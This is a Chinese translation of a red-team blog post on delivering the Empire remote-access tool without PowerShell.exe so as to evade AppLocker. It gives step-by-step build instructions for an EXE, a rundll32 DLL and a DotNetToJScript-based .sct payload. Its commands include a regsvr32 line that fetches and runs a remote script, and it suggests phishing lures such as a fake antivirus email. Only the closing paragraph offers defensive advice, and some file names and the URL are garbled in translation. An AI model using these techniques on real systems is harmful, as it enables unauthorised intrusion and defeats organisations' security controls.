標籤:

無 PowerShell.exe 執行 Empire 的幾種姿勢

遇到的問題

客戶端已經使用AppLocker阻止了Powershell.exe運行,我也無法執行Cobalt Strike。我想通過網路釣魚攻擊在工作站上獲得一個Empire的有效載荷,一旦我在內網立足我就需要準備攻擊所用的有效載荷。Empire中幾乎所有的啟動方法都依賴於使用PowerShell.exe的功能。像msbuild.exe這樣的一些其他方法需要將文件放到磁碟上,我真的很喜歡利用regsvr32方法通過互聯網載入我的.sct(它也會將文件丟到磁碟上)並使用ducky。我也非常感謝VBA在文檔或HTA中的簡單性。但問題是,Empire是一個Powershell RAT,所以PowerShell必須要能運行。

解決此問題的一種方法是通過互聯網可訪問的SMB共享來調用Empire.dll或Empire.exe。我還沒有嘗試這種方法,但確保它是有效的。我不喜歡SMB方法是因為這是出站的SMB連接,流量檢測可以發現這種不尋常的行為。我相信我有一種好的解決辦法。

我要使用的三個有效載荷

1. 構建一個empire.exe

2. 構建一個empire.dll

3. 構建一個不調用powershell.exe的empire.sct

我們將要使用的工具和資源有:

1. SharpPick codebase by @sixdub

2. DotNetToJS 由James Foreshaw(@tiraniddo)開發

3. AllTheThings 由凱西史密斯(@subtee)開發

4. Visual Studio。不是絕對必要的,但它是我所知道的,免費的且下載量很大的一個IDE。大概你可以使用csc.exe構建你的項目,但是我還沒有測試過。我選擇了Visual Studio 2010 for PowerPick,雖然在2012年可能會正常工作。我知道這很難下載。2010/2012的好處在於,它帶有越來越難找到的舊的.NET庫。

沒有上述作者的一些研究工作,我將無法做到這一點,我非常感激這些前人。接下來是簡單地組合一些不同的偉大工作,以達到我以前找不到工作的具體結果。

*注意:在我的研究中,我遇到了兩個幾乎完全相同的事情的項目,這兩個項目都使用了DotNetToJScript,而這兩個項目都對我非常有用。

1. StarFighters (@ Cn33liz)。首先,我非常喜歡從互聯網直接下載運行編碼過的二進位文件。這包含一個編碼的powershell.exe,它接收並執行你的啟動器代碼。我嘗試過,並且能夠獲得一個Empire Shell,但不能執行腳本。

2. CACTUSTORCH (@vysecurity)。我也嘗試過這個,但是它真的想要將shellcode注入到你選擇的二進位文件中,我無法弄清楚如何使用SharpPick將啟動器設置為shellcode。這可能是可行的,我只是不知道如何使用。這個例子@vysecurity提供了使用Cobalt Strike或Meterpreter shellcode作為輸出。

構建Empire.exe

我經常看到Cobalt Strike與「updates.exe」一起使用,這是一個無階段運行的燈塔。對於Empire來說,你可以用這種方法做類似的事情。將其添加到電子郵件提示中,比如建議安裝新的反病毒軟體的欺騙郵件。或者通過psexec或wmi或在Outlook中嵌入的OLE對象 (@tyler_robinson)來運行它。

這可能是在不調用Powershell.exe的情況下獲取代理的最簡單的方法。

在開始前,請通過git 獲取你的PowerPick副本,並在Visual Studio中打開該項目。

首先,你需要混淆某些項目屬性。更改程序和程序集信息的名稱。從菜單「項目 – > SharpPick屬性」中選擇即可進入。確保將「輸出類型」更改為「Windows應用程序」,以便在從CLI中雙擊或執行後,程序能在後台運行。

單擊「組裝信息」按鈕,並更改這些屬性。

現在,你需要要將Program.cs中的代碼更改為(gist):

字元串「stager」只包含base64編碼的Empire啟動器信息。這將被解碼並傳遞給RunPS(),它將PowerShell命令發送到System.Management.Automation,其中真正的PowerShell魔術實際上已經發生了。這是直接進入Windows的核心。

現在進入你的菜單,選擇「Build – > Build Solution」或點擊「F6」。你的牛逼閃閃的新二進位文件應該在「PowerTools Empire_SCT PowerPick bin x86 Debug」中生成。

**你可能會收到一個關於ReflectivePick沒有建立的錯誤,沒關係。你可以通過轉到「Build – > Configuration Manager」並從「項目上下文」中取消選擇「ReflectivePick」來消除該錯誤。我們不需要它。

通過雙擊可執行文件或簡單地在CLI上運行它來測試你生成的二進位文件。它應該在你啟動或執行後在後台運行。

構建Empire.dll

也許你需要一個DLL,所以你可以使用AppLocker繞過方式的其中一種來實現。一個很好的例子是rundll32.exe。為了做到這一點,我們將改變我們的項目,並在我們的代碼中添加一些入口點。以下代碼直接來自@ subtee的「AllTheThings」。

就像EXE一樣,打開項目並改變這些屬性。在項目屬性中需要更改的其他重要事項是「輸出類型」,它需要更改為 「類庫」。你也應該將「啟動對象」設置為下拉菜單中的默認值(基於你的命名空間和類名稱)。

接下來,安裝Visual Studio的nuget包管理器。一旦安裝完成,你需要通過運行以下命令來獲取依賴關係「UnmanagedExports」:

PM> install-package UnmanagedExportsn

接下來,打開「Program.cs」,並更改你的代碼看起來像下面這樣,除了幾個「using」語句未顯示,但大部分都包含在gist中:

再次去「構建 – >構建解決方案」或點擊「F6」,你應該在你的構建目錄中會生成一個LegitLibrary.dll(和上面一樣)。

通過運行以下步驟來測試新的DLL

rundll32.exe LegitLibrary.dll,EntryPointn

這應該會返回一個新的代理到你的EmpireC2。如果你查看Process Explorer,你將看到rundll32作為一個新的進程運行。

構建Empire.sct

這種方式可能是最複雜的,因為它涉及到一些比較繁瑣的步驟。最終結果基本上是這樣的:將PowerShell轉換成.NET應用程序,將該.NET應用程序轉換為一個javascript文件中的base64編碼的二進位文件,然後將其填充到.SCT中。你可以使用regsvr32調用該腳本,該腳本可以執行在你的Web /文件伺服器上存放的.SCT的JavaScript代碼。

我們的目標是Empire.exe有效載荷,但是要轉換為base64。項目選項應該與你為Empire.exe所做的相同,換句話說就是「Windows應用程序」。代碼有點不一樣,因為JavaScript需要一些公共方法來實現和執行我們的代碼(gist)。

構建後,去目錄找到你生成的二進位,它應該是一個exe。

接下來,去下載DotNetToJScript 並在Visual Studio中打開該項目,將其.NET目標更改為「.NET 3.5」(或2.0)項目選項並編譯(構建)它。一旦構建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,並將它們放在與LegitScript.exe二進位文件相同的位置。

運行以下命令(-c是入口點,更改為你選擇的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exen

這應該會輸出一個legalscript.js。DotNetToJScript輸出有其他幾種語言,包括用於嵌入Office文檔的VBA和VBScript,或者你可能需要的其他東西。

你可以通過運行以下步驟進行下一步的測試:

wscript.exe legalscript.jsn

執行後應該會在後台啟動一個新的代理工作站。它將作為進程監視器中的「wscript」運行。

如果你已經確認這正常的工作了,那麼現在是把它包裝成一個.sct,所以我們可以用regsvr32.exe來調用它。

將legalscript.js的全部內容放入CDATA標籤(如下圖)。你可以使用以下方式獲取Empire中的XML格式:

(Empire:usestager windows / launcher_sctn

設置無關緊要,但你可以將其設置為監聽器,並確保「OutFile」設置為null或「」空值,因為這將列印內容並進行屏幕顯示。如果你從Empire獲取內容,請從CDATA標籤中刪除所有內容,並將其替換為legalscript.js。

保存為2legit.sct並進行測試:

regsvr32 / s / n / u /i:2legit.sct scrobj.dlln

這會再次返回一個新的代理。你可以將該.sct保存到你的網路或文件伺服器,並用「/i:https ://http://example.com/2legit.sct」」遠程替換「/i:」 。這是一個AppLocker繞過方式,因為regsvr32.exe是Microsoft簽名的二進位文件。

結論

PowerShell非常的棒,攻擊者已經使用它好幾年了。我們向客戶提供的最佳建議是通過PowerShell約束模式保持其環境的鎖定,禁用PowerShell v2,並將企業級PowerShell升級到支持腳本塊日誌記錄的最新版本。讓PowerShell在你的環境中執行非常困難,幾乎不切實際,因此至少知道何時以及如何使用它。

感謝@subtee與我一起參與一些新想法,@vysecurity幫我的解答疑問,以及所有與這些工作有關係的巨人和項目作者。

本文翻譯自:bneg.io/2017/07/26/empi,如若轉載,請註明來源於嘶吼:4hou.com/system/6011.ht 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

「Trackmageddon」漏洞影響100+個GPS和定位跟蹤服務
不容小覷:過時的第三方庫對手機應用安全的影響
無需Ptrace就能實現Linux進程間代碼注入
動手教程:DIY一個OpenWRT的滲透工具

TAG:信息安全 |